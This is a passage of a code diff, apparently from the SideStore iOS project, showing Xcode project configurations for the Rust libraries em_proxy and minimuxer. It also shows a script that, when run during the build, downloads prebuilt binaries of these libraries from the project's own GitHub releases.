"CARGO_XCODE_TARGET_ARCH[arch=arm64*]" = aarch64;
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=i386]" = i686;
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=x86_64*]" = x86_64;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=appletvos*]" = tvos;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=appletvsimulator*]" = tvos;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphoneos*]" = ios;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*]" = "ios-sim";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*][arch=x86_64*]" = ios;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=macosx*]" = darwin;
|
||||
CURRENT_PROJECT_VERSION = 0.1;
|
||||
MARKETING_VERSION = 0.1.0;
|
||||
PRODUCT_NAME = em_proxy;
|
||||
SDKROOT = macosx;
|
||||
SUPPORTS_MACCATALYST = YES;
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
CA60DE07A83F37FC563E4BCC /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
CARGO_XCODE_CARGO_DEP_FILE_NAME = run.d;
|
||||
CARGO_XCODE_CARGO_FILE_NAME = run;
|
||||
PRODUCT_NAME = run;
|
||||
SUPPORTED_PLATFORMS = macosx;
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
CA60DE07A83FA30E3695DD59 /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
CARGO_XCODE_CARGO_DEP_FILE_NAME = libem_proxy.d;
|
||||
CARGO_XCODE_CARGO_FILE_NAME = libem_proxy.a;
|
||||
INSTALL_GROUP = "";
|
||||
INSTALL_MODE_FLAG = "";
|
||||
INSTALL_OWNER = "";
|
||||
LIB_FILE_NAME = "";
|
||||
"LIB_FILE_NAME[sdk=iphoneos*]" = libem_proxy;
|
||||
"LIB_FILE_NAME[sdk=iphonesimulator*]" = "libem_proxy-sim";
|
||||
PRODUCT_NAME = em_proxy_static;
|
||||
SKIP_INSTALL = YES;
|
||||
SUPPORTED_PLATFORMS = "macosx iphonesimulator iphoneos appletvsimulator appletvos";
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
/* End XCBuildConfiguration section */
|
||||
|
||||
CA609A517351228BE02872F8 = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
SUPPORTS_MACCATALYST = YES;
|
||||
CARGO_TARGET_DIR = "$(PROJECT_TEMP_DIR)/cargo_target"; /* for cargo */
|
||||
CARGO_XCODE_FEATURES = ""; /* configure yourself */
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=arm64*]" = "aarch64";
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=x86_64*]" = "x86_64"; /* catalyst adds h suffix */
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=i386]" = "i686";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=macosx*]" = "darwin";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*]" = "ios-sim";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*][arch=x86_64*]" = "ios";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphoneos*]" = "ios";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=appletvsimulator*]" = "tvos";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=appletvos*]" = "tvos";
|
||||
PRODUCT_NAME = "em_proxy";
|
||||
MARKETING_VERSION = "0.1.0";
|
||||
CURRENT_PROJECT_VERSION = "0.1";
|
||||
SDKROOT = macosx;
|
||||
|
||||
"CARGO_XCODE_BUILD_MODE" = "debug"; /* for xcode scripts */
|
||||
ONLY_ACTIVE_ARCH = YES;
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
|
||||
CA6094FFF692E04653AD465F = {
|
||||
isa = PBXProject;
|
||||
attributes = {
|
||||
LastUpgradeCheck = 1300;
|
||||
TargetAttributes = {
|
||||
CA60C44C93D7A30E3695DD59 = {
|
||||
CreatedOnToolsVersion = 9.2;
|
||||
ProvisioningStyle = Automatic;
|
||||
};
|
||||
CA60058A9FBE37FC563E4BCC = {
|
||||
CreatedOnToolsVersion = 9.2;
|
||||
ProvisioningStyle = Automatic;
|
||||
};
|
||||
};
|
||||
};
|
||||
buildConfigurationList = CA6094FFF69280E02D6C7F57;
|
||||
compatibilityVersion = "Xcode 11.4";
|
||||
developmentRegion = en;
|
||||
hasScannedForEncodings = 0;
|
||||
knownRegions = (
|
||||
en,
|
||||
Base,
|
||||
);
|
||||
mainGroup = CA6094FFF692D65BC3C892A8;
|
||||
productRefGroup = CA6094FFF69222869D176AE5 /* Products */;
|
||||
projectDirPath = "";
|
||||
projectRoot = "";
|
||||
targets = (
|
||||
CA60C44C93D7A30E3695DD59,
|
||||
CA60058A9FBE37FC563E4BCC,
|
||||
|
||||
);
|
||||
};
|
||||
|
||||
};
|
||||
rootObject = CA6094FFF692E04653AD465F;
|
||||
/* Begin XCConfigurationList section */
|
||||
CA603DD75FB437FC563E4BCC /* Build configuration list for PBXNativeTarget "run-bin" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
CA604DFE779B37FC563E4BCC /* Release */,
|
||||
CA60DE07A83F37FC563E4BCC /* Debug */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
CA603DD75FB4A30E3695DD59 /* Build configuration list for PBXNativeTarget "em_proxy-staticlib" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
CA604DFE779BA30E3695DD59 /* Release */,
|
||||
CA60DE07A83FA30E3695DD59 /* Debug */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
CA6094FFF69280E02D6C7F57 /* Build configuration list for PBXProject "em_proxy" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
CA609A5173513CC16B37690B /* Release */,
|
||||
CA609A517351228BE02872F8 /* Debug */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
/* End XCConfigurationList section */
|
||||
};
|
||||
rootObject = CA6094FFF692E04653AD465F /* Project object */;
|
||||
}
|
||||
|
||||
1
Dependencies/em_proxy/.gitkeep
vendored
Normal file
@@ -0,0 +1 @@
|
||||
Use ../fetch-prebuilt.sh to fetch prebuilt Rust dependencies
|
||||
66
Dependencies/fetch-prebuilt.sh
vendored
Normal file
@@ -0,0 +1,66 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
# Ensure we are in Dependencies directory
|
||||
cd "$(dirname "$0")"
|
||||
|
||||
check_for_update() {
|
||||
if [ -f ".skip-prebuilt-fetch-$1" ]; then
|
||||
echo "Skipping prebuilt fetch for $1 since .skip-prebuilt-fetch-$1 exists. If you are developing $1 alongside SideStore, don't remove this file, or this script will replace your locally built binaries with the ones built by GitHub Actions."
|
||||
return
|
||||
fi
|
||||
|
||||
if [ ! -f ".last-prebuilt-fetch-$1" ]; then
|
||||
echo "0,none" > ".last-prebuilt-fetch-$1"
|
||||
fi
|
||||
|
||||
LAST_FETCH=`cat .last-prebuilt-fetch-$1 | perl -n -e '/([0-9]*),([^ ]*)$/ && print $1'`
|
||||
LAST_COMMIT=`cat .last-prebuilt-fetch-$1 | perl -n -e '/([0-9]*),([^ ]*)$/ && print $2'`
|
||||
|
||||
# fetch if last fetch was over 1 hour ago
|
||||
if [[ $LAST_FETCH -lt $(expr $(date +%s) - 3600) ]] || [[ "$2" == "force" ]]; then
|
||||
echo "Checking $1 for update"
|
||||
echo
|
||||
LATEST_COMMIT=`curl https://api.github.com/repos/SideStore/$1/releases/latest | perl -n -e '/Commit: https:\\/\\/github\\.com\\/[^\\/]*\\/[^\\/]*\\/commit\\/([^"]*)/ && print $1'`
|
||||
echo
|
||||
echo "Last commit: $LAST_COMMIT"
|
||||
echo "Latest commit: $LATEST_COMMIT"
|
||||
if [[ "$LAST_COMMIT" != "$LATEST_COMMIT" ]]; then
|
||||
echo "Found update, downloading binaries"
|
||||
echo
|
||||
wget -O "$1/lib$1-sim.a" "https://github.com/SideStore/$1/releases/latest/download/lib$1-sim.a"
|
||||
if [[ "$1" != "minimuxer" ]]; then
|
||||
wget -O "$1/lib$1.a" "https://github.com/SideStore/$1/releases/latest/download/lib$1.a"
|
||||
wget -O "$1/$1.h" "https://github.com/SideStore/$1/releases/latest/download/$1.h"
|
||||
echo
|
||||
else
|
||||
wget -O "$1/lib$1-ios.a" "https://github.com/SideStore/$1/releases/latest/download/lib$1-ios.a"
|
||||
wget -O "$1/generated.zip" "https://github.com/SideStore/$1/releases/latest/download/generated.zip"
|
||||
echo
|
||||
echo "Unzipping generated.zip"
|
||||
cd "$1"
|
||||
unzip ./generated.zip
|
||||
mv -v generated/* .
|
||||
rm generated.zip
|
||||
rmdir generated/
|
||||
cd ..
|
||||
echo "Done"
|
||||
fi
|
||||
else
|
||||
echo "Up-to-date"
|
||||
fi
|
||||
echo "$(date +%s),$LATEST_COMMIT" > ".last-prebuilt-fetch-$1"
|
||||
else
|
||||
echo "It hasn't been 1 hour and force was not specified, skipping update check for $1"
|
||||
fi
|
||||
}
|
||||
|
||||
# Allow for Xcode to check minimuxer and em_proxy separately by skipping the update check if the other one is specified as an argument
|
||||
if [[ "$1" != "em_proxy" ]]; then
|
||||
check_for_update minimuxer "$1"
|
||||
if [[ "$1" != "minimuxer" ]]; then
|
||||
echo
|
||||
fi
|
||||
fi
|
||||
if [[ "$1" != "minimuxer" ]]; then
|
||||
check_for_update em_proxy "$1"
|
||||
fi
|
||||
2
Dependencies/libfragmentzip
vendored
2
Dependencies/libimobiledevice
vendored
2
Dependencies/libimobiledevice-glue
vendored
2
Dependencies/libplist
vendored
2
Dependencies/libusbmuxd
vendored
1
Dependencies/minimuxer
vendored
548
Dependencies/minimuxer.xcodeproj/project.pbxproj
vendored
@@ -1,292 +1,300 @@
|
||||
// !$*UTF8*$!
|
||||
{
|
||||
/* generated with cargo-xcode 1.5.0 */
|
||||
archiveVersion = 1;
|
||||
classes = {
|
||||
};
|
||||
objectVersion = 53;
|
||||
objects = {
|
||||
archiveVersion = 1;
|
||||
classes = {
|
||||
};
|
||||
objectVersion = 53;
|
||||
objects = {
|
||||
|
||||
/* Begin PBXBuildFile section */
|
||||
|
||||
CA6038F2DF2FA560B9642892 /* Cargo.toml in Sources */ = {
|
||||
isa = PBXBuildFile;
|
||||
fileRef = CA6012A875F93EF4668187A5 /* Cargo.toml */;
|
||||
settings = {
|
||||
COMPILER_FLAGS = "--lib"; /* == OTHER_INPUT_FILE_FLAGS */
|
||||
};
|
||||
};
|
||||
|
||||
9961EC2829BE9C2000AF2C6F /* SwiftBridgeCore.h in Sources */ = {isa = PBXBuildFile; fileRef = 9961EC2729BE9C1200AF2C6F /* SwiftBridgeCore.h */; };
|
||||
9987603329A454B500818586 /* minimuxer.h in Sources */ = {isa = PBXBuildFile; fileRef = 9987603229A454B500818586 /* minimuxer.h */; };
|
||||
/* End PBXBuildFile section */
|
||||
|
||||
/* Begin PBXBuildRule section */
|
||||
CA6012A875F9AC6C1400ACA8 /* PBXBuildRule */ = {
|
||||
isa = PBXBuildRule;
|
||||
compilerSpec = com.apple.compilers.proxy.script;
|
||||
dependencyFile = "$(DERIVED_FILE_DIR)/$(CARGO_XCODE_TARGET_ARCH)-$(EXECUTABLE_NAME).d";
|
||||
filePatterns = "*/Cargo.toml"; /* must contain asterisk */
|
||||
fileType = pattern.proxy;
|
||||
inputFiles = ();
|
||||
isEditable = 0;
|
||||
name = "Cargo project build";
|
||||
outputFiles = (
|
||||
"$(OBJECT_FILE_DIR)/$(CARGO_XCODE_TARGET_ARCH)-$(EXECUTABLE_NAME)",
|
||||
);
|
||||
script = "# generated with cargo-xcode 1.5.0\n\nset -eu; export PATH=\"$PATH:$HOME/.cargo/bin:/usr/local/bin\";\nif [ \"${IS_MACCATALYST-NO}\" = YES ]; then\n CARGO_XCODE_TARGET_TRIPLE=\"${CARGO_XCODE_TARGET_ARCH}-apple-ios-macabi\"\nelse\n CARGO_XCODE_TARGET_TRIPLE=\"${CARGO_XCODE_TARGET_ARCH}-apple-${CARGO_XCODE_TARGET_OS}\"\nfi\nif [ \"$CARGO_XCODE_TARGET_OS\" != \"darwin\" ]; then\n PATH=\"${PATH/\\/Contents\\/Developer\\/Toolchains\\/XcodeDefault.xctoolchain\\/usr\\/bin:/xcode-provided-ld-cant-link-lSystem-for-the-host-build-script:}\"\nfi\nPATH=\"$PATH:/opt/homebrew/bin\" # Rust projects often depend on extra tools like nasm, which Xcode lacks\nif [ \"$CARGO_XCODE_BUILD_MODE\" == release ]; then\n OTHER_INPUT_FILE_FLAGS=\"${OTHER_INPUT_FILE_FLAGS} --release\"\nfi\nif command -v rustup &> /dev/null; then\n if ! rustup target list --installed | egrep -q \"${CARGO_XCODE_TARGET_TRIPLE}\"; then\n echo \"warning: this build requires rustup toolchain for $CARGO_XCODE_TARGET_TRIPLE, but it isn\'t installed\"\n rustup target add \"${CARGO_XCODE_TARGET_TRIPLE}\" || echo >&2 \"warning: can\'t install $CARGO_XCODE_TARGET_TRIPLE\"\n fi\nfi\nif [ \"$ACTION\" = clean ]; then\n ( set -x; cargo clean --manifest-path=\"$SCRIPT_INPUT_FILE\" ${OTHER_INPUT_FILE_FLAGS} --target=\"${CARGO_XCODE_TARGET_TRIPLE}\"; );\nelse\n ( set -x; cargo build --manifest-path=\"$SCRIPT_INPUT_FILE\" --features=\"${CARGO_XCODE_FEATURES:-}\" ${OTHER_INPUT_FILE_FLAGS} --target=\"${CARGO_XCODE_TARGET_TRIPLE}\"; );\nfi\n# it\'s too hard to explain Cargo\'s actual exe path to Xcode build graph, so hardlink to a known-good path instead\nBUILT_SRC=\"${CARGO_TARGET_DIR}/${CARGO_XCODE_TARGET_TRIPLE}/${CARGO_XCODE_BUILD_MODE}/${CARGO_XCODE_CARGO_FILE_NAME}\"\nln -f -- \"$BUILT_SRC\" \"$SCRIPT_OUTPUT_FILE_0\"\n\n# xcode generates dep file, but for its own path, so append our rename to it\nDEP_FILE_SRC=\"${CARGO_TARGET_DIR}/${CARGO_XCODE_TARGET_TRIPLE}/${CARGO_XCODE_BUILD_MODE}/${CARGO_XCODE_CARGO_DEP_FILE_NAME}\"\nif [ -f \"$DEP_FILE_SRC\" ]; then\n DEP_FILE_DST=\"${DERIVED_FILE_DIR}/${CARGO_XCODE_TARGET_ARCH}-${EXECUTABLE_NAME}.d\"\n cp -f \"$DEP_FILE_SRC\" \"$DEP_FILE_DST\"\n echo >> \"$DEP_FILE_DST\" \"$SCRIPT_OUTPUT_FILE_0: $BUILT_SRC\"\nfi\n\n# lipo script needs to know all the platform-specific files that have been built\n# archs is in the file name, so that paths don\'t stay around after archs change\n# must match input for LipoScript\nFILE_LIST=\"${DERIVED_FILE_DIR}/${ARCHS}-${EXECUTABLE_NAME}.xcfilelist\"\ntouch \"$FILE_LIST\"\nif ! egrep -q \"$SCRIPT_OUTPUT_FILE_0\" \"$FILE_LIST\" ; then\n echo >> \"$FILE_LIST\" \"$SCRIPT_OUTPUT_FILE_0\"\nfi\n";
|
||||
};
|
||||
CA6012A875F9AC6C1400ACA8 /* PBXBuildRule */ = {
|
||||
isa = PBXBuildRule;
|
||||
compilerSpec = com.apple.compilers.proxy.script;
|
||||
filePatterns = "*/minimuxer.h";
|
||||
fileType = pattern.proxy;
|
||||
inputFiles = (
|
||||
);
|
||||
isEditable = 0;
|
||||
name = "Cargo project build";
|
||||
outputFiles = (
|
||||
"$(OBJECT_FILE_DIR)/$(CARGO_XCODE_TARGET_ARCH)-$(EXECUTABLE_NAME)",
|
||||
);
|
||||
script = "# generated with cargo-xcode 1.5.0\n# modified to use prebuilt binaries\n\nset -eu;\n\nBUILT_SRC=\"./minimuxer/$LIB_FILE_NAME.a\"\nln -f -- \"$BUILT_SRC\" \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\" || cp \"$BUILT_SRC\" \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\necho \"$BUILT_SRC -> $TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n\n# xcode generates dep file, but for its own path, so append our rename to it\n#DEP_FILE_SRC=\"minimuxer/target/${CARGO_XCODE_TARGET_TRIPLE}/release/${CARGO_XCODE_CARGO_DEP_FILE_NAME}\"\n#if [ -f \"$DEP_FILE_SRC\" ]; then\n# DEP_FILE_DST=\"${DERIVED_FILE_DIR}/${CARGO_XCODE_TARGET_ARCH}-${EXECUTABLE_NAME}.d\"\n# cp -f \"$DEP_FILE_SRC\" \"$DEP_FILE_DST\"\n# echo >> \"$DEP_FILE_DST\" \"$SCRIPT_OUTPUT_FILE_0: $BUILT_SRC\"\n#fi\n\n# lipo script needs to know all the platform-specific files that have been built\n# archs is in the file name, so that paths don't stay around after archs change\n# must match input for LipoScript\n#FILE_LIST=\"${DERIVED_FILE_DIR}/${ARCHS}-${EXECUTABLE_NAME}.xcfilelist\"\n#touch \"$FILE_LIST\"\n#if ! egrep -q \"$SCRIPT_OUTPUT_FILE_0\" \"$FILE_LIST\" ; then\n# echo >> \"$FILE_LIST\" \"$SCRIPT_OUTPUT_FILE_0\"\n#fi\n";
|
||||
};
|
||||
/* End PBXBuildRule section */
|
||||
|
||||
/* Begin PBXFileReference section */
|
||||
|
||||
CA609C732349C7AAD9FA67C4 /* staticlib */ = {
|
||||
isa = PBXFileReference;
|
||||
explicitFileType = "archive.ar";
|
||||
includeInIndex = 0;
|
||||
name = "libminimuxer_static.a";
|
||||
sourceTree = TARGET_BUILD_DIR;
|
||||
};
|
||||
CA6012A875F93EF4668187A5 /* Cargo.toml */ = {
|
||||
isa = PBXFileReference;
|
||||
lastKnownFileType = text;
|
||||
fileEncoding = 4;
|
||||
name = "Cargo.toml";
|
||||
path = "minimuxer/Cargo.toml";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
/* Rust needs libresolv */
|
||||
ADDEDBA66A6E1 = {
|
||||
isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition";
|
||||
name = libresolv.tbd; path = usr/lib/libresolv.tbd; sourceTree = SDKROOT;
|
||||
};
|
||||
|
||||
9961EC2729BE9C1200AF2C6F /* SwiftBridgeCore.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = SwiftBridgeCore.h; path = minimuxer/SwiftBridgeCore.h; sourceTree = "<group>"; };
|
||||
9987603229A454B500818586 /* minimuxer.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; name = minimuxer.h; path = minimuxer/minimuxer.h; sourceTree = "<group>"; };
|
||||
ADDEDBA66A6E1 /* libresolv.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libresolv.tbd; path = usr/lib/libresolv.tbd; sourceTree = SDKROOT; };
|
||||
CA609C732349C7AAD9FA67C4 /* libminimuxer_static.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; includeInIndex = 0; path = libminimuxer_static.a; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
/* End PBXFileReference section */
|
||||
|
||||
/* Begin PBXGroup section */
|
||||
CA6012A875F998AF0B5890DB /* Frameworks */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
ADDEDBA66A6E2,
|
||||
|
||||
);
|
||||
name = Frameworks;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
|
||||
|
||||
ADDEDBA66A6E2 /* Required for static linking */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
ADDEDBA66A6E1
|
||||
);
|
||||
name = "Required for static linking";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
|
||||
CA6012A875F922869D176AE5 /* Products */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
CA609C732349C7AAD9FA67C4,
|
||||
|
||||
);
|
||||
name = Products;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
|
||||
CA6012A875F9D65BC3C892A8 /* Main */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
CA6012A875F93EF4668187A5,
|
||||
CA6012A875F922869D176AE5,
|
||||
CA6012A875F998AF0B5890DB,
|
||||
|
||||
);
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
|
||||
99F87D1529D8E41100B40039 /* Generated */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
9961EC2729BE9C1200AF2C6F /* SwiftBridgeCore.h */,
|
||||
9987603229A454B500818586 /* minimuxer.h */,
|
||||
);
|
||||
name = Generated;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
ADDEDBA66A6E2 /* Required for static linking */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
ADDEDBA66A6E1 /* libresolv.tbd */,
|
||||
);
|
||||
name = "Required for static linking";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
CA6012A875F922869D176AE5 /* Products */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
CA609C732349C7AAD9FA67C4 /* libminimuxer_static.a */,
|
||||
);
|
||||
name = Products;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
CA6012A875F998AF0B5890DB /* Frameworks */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
ADDEDBA66A6E2 /* Required for static linking */,
|
||||
);
|
||||
name = Frameworks;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
CA6012A875F9D65BC3C892A8 = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
99F87D1529D8E41100B40039 /* Generated */,
|
||||
CA6012A875F922869D176AE5 /* Products */,
|
||||
CA6012A875F998AF0B5890DB /* Frameworks */,
|
||||
);
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
/* End PBXGroup section */
|
||||
|
||||
/* Begin PBXNativeTarget section */
|
||||
CA609C732349A560B9642892 /* minimuxer-staticlib */ = {
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = CA600589A243A560B9642892;
|
||||
buildPhases = (
|
||||
CA600F638141A560B9642892 /* Sources */,
|
||||
CA6012A875F9AF6EBB7F357C /* Universal Binary lipo */,
|
||||
);
|
||||
buildRules = (
|
||||
CA6012A875F9AC6C1400ACA8 /* PBXBuildRule */,
|
||||
);
|
||||
dependencies = (
|
||||
);
|
||||
name = "minimuxer-staticlib";
|
||||
productName = "libminimuxer_static.a";
|
||||
productReference = CA609C732349C7AAD9FA67C4;
|
||||
productType = "com.apple.product-type.library.static";
|
||||
};
|
||||
|
||||
CA609C732349A560B9642892 /* minimuxer-staticlib */ = {
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = CA600589A243A560B9642892 /* Build configuration list for PBXNativeTarget "minimuxer-staticlib" */;
|
||||
buildPhases = (
|
||||
9987603629A4611D00818586 /* Run Script */,
|
||||
CA600F638141A560B9642892 /* Sources */,
|
||||
CA6012A875F9AF6EBB7F357C /* Universal Binary lipo */,
|
||||
);
|
||||
buildRules = (
|
||||
CA6012A875F9AC6C1400ACA8 /* PBXBuildRule */,
|
||||
);
|
||||
dependencies = (
|
||||
);
|
||||
name = "minimuxer-staticlib";
|
||||
productName = libminimuxer_static.a;
|
||||
productReference = CA609C732349C7AAD9FA67C4 /* libminimuxer_static.a */;
|
||||
productType = "com.apple.product-type.library.static";
|
||||
};
|
||||
/* End PBXNativeTarget section */
|
||||
|
||||
CA600F638141A560B9642892 = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
CA6038F2DF2FA560B9642892
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
|
||||
CA600589A243A560B9642892 /* staticlib */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
CA602DE9FCEDA560B9642892 /* Release */,
|
||||
CA6008D36272A560B9642892 /* Debug */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
CA602DE9FCEDA560B9642892 /* staticlib */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
PRODUCT_NAME = "minimuxer_static";
|
||||
"CARGO_XCODE_CARGO_FILE_NAME" = "libminimuxer.a";
|
||||
"CARGO_XCODE_CARGO_DEP_FILE_NAME" = "libminimuxer.d";
|
||||
SUPPORTED_PLATFORMS = "macosx iphonesimulator iphoneos appletvsimulator appletvos";
|
||||
SKIP_INSTALL = YES;
|
||||
INSTALL_GROUP = "";
|
||||
INSTALL_MODE_FLAG = "";
|
||||
INSTALL_OWNER = "";
|
||||
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
CA6008D36272A560B9642892 /* staticlib */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
PRODUCT_NAME = "minimuxer_static";
|
||||
"CARGO_XCODE_CARGO_FILE_NAME" = "libminimuxer.a";
|
||||
"CARGO_XCODE_CARGO_DEP_FILE_NAME" = "libminimuxer.d";
|
||||
SUPPORTED_PLATFORMS = "macosx iphonesimulator iphoneos appletvsimulator appletvos";
|
||||
SKIP_INSTALL = YES;
|
||||
INSTALL_GROUP = "";
|
||||
INSTALL_MODE_FLAG = "";
|
||||
INSTALL_OWNER = "";
|
||||
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
/* Begin PBXProject section */
|
||||
CA6012A875F9E04653AD465F /* Project object */ = {
|
||||
isa = PBXProject;
|
||||
attributes = {
|
||||
LastUpgradeCheck = 1300;
|
||||
TargetAttributes = {
|
||||
CA609C732349A560B9642892 = {
|
||||
CreatedOnToolsVersion = 9.2;
|
||||
ProvisioningStyle = Automatic;
|
||||
};
|
||||
};
|
||||
};
|
||||
buildConfigurationList = CA6012A875F980E02D6C7F57 /* Build configuration list for PBXProject "minimuxer" */;
|
||||
compatibilityVersion = "Xcode 11.4";
|
||||
developmentRegion = en;
|
||||
hasScannedForEncodings = 0;
|
||||
knownRegions = (
|
||||
en,
|
||||
Base,
|
||||
);
|
||||
mainGroup = CA6012A875F9D65BC3C892A8;
|
||||
productRefGroup = CA6012A875F922869D176AE5 /* Products */;
|
||||
projectDirPath = "";
|
||||
projectRoot = "";
|
||||
targets = (
|
||||
CA609C732349A560B9642892 /* minimuxer-staticlib */,
|
||||
);
|
||||
};
|
||||
/* End PBXProject section */
|
||||
|
||||
CA6012A875F9AF6EBB7F357C /* LipoScript */ = {
|
||||
name = "Universal Binary lipo";
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = ();
|
||||
inputFileListPaths = ();
|
||||
inputPaths = (
|
||||
"$(DERIVED_FILE_DIR)/$(ARCHS)-$(EXECUTABLE_NAME).xcfilelist",
|
||||
);
|
||||
outputFileListPaths = ();
|
||||
outputPaths = (
|
||||
"$(TARGET_BUILD_DIR)/$(EXECUTABLE_PATH)"
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "# generated with cargo-xcode 1.5.0\n\n set -eux; cat \"$DERIVED_FILE_DIR/$ARCHS-$EXECUTABLE_NAME.xcfilelist\" | tr \'\\n\' \'\\0\' | xargs -0 lipo -create -output \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n if [ ${LD_DYLIB_INSTALL_NAME:+1} ]; then\n install_name_tool -id \"$LD_DYLIB_INSTALL_NAME\" \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n fi\n ";
|
||||
};
|
||||
/* Begin PBXShellScriptBuildPhase section */
|
||||
9987603629A4611D00818586 /* Run Script */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
inputFileListPaths = (
|
||||
);
|
||||
inputPaths = (
|
||||
);
|
||||
name = "Run Script";
|
||||
outputFileListPaths = (
|
||||
);
|
||||
outputPaths = (
|
||||
./minimuxer/minimuxer.h,
|
||||
./minimuxer/SwiftBridgeCore.h,
|
||||
./minimuxer/minimuxer.swift,
|
||||
./minimuxer/SwiftBridgeCore.swift,
|
||||
"./minimuxer/minimuxer-Bridging-Header.h",
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "bash ./fetch-prebuilt.sh minimuxer\n";
|
||||
};
|
||||
CA6012A875F9AF6EBB7F357C /* Universal Binary lipo */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
inputFileListPaths = (
|
||||
);
|
||||
inputPaths = (
|
||||
"$(DERIVED_FILE_DIR)/$(ARCHS)-$(EXECUTABLE_NAME).xcfilelist",
|
||||
);
|
||||
name = "Universal Binary lipo";
|
||||
outputFileListPaths = (
|
||||
);
|
||||
outputPaths = (
|
||||
"$(TARGET_BUILD_DIR)/$(EXECUTABLE_PATH)",
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
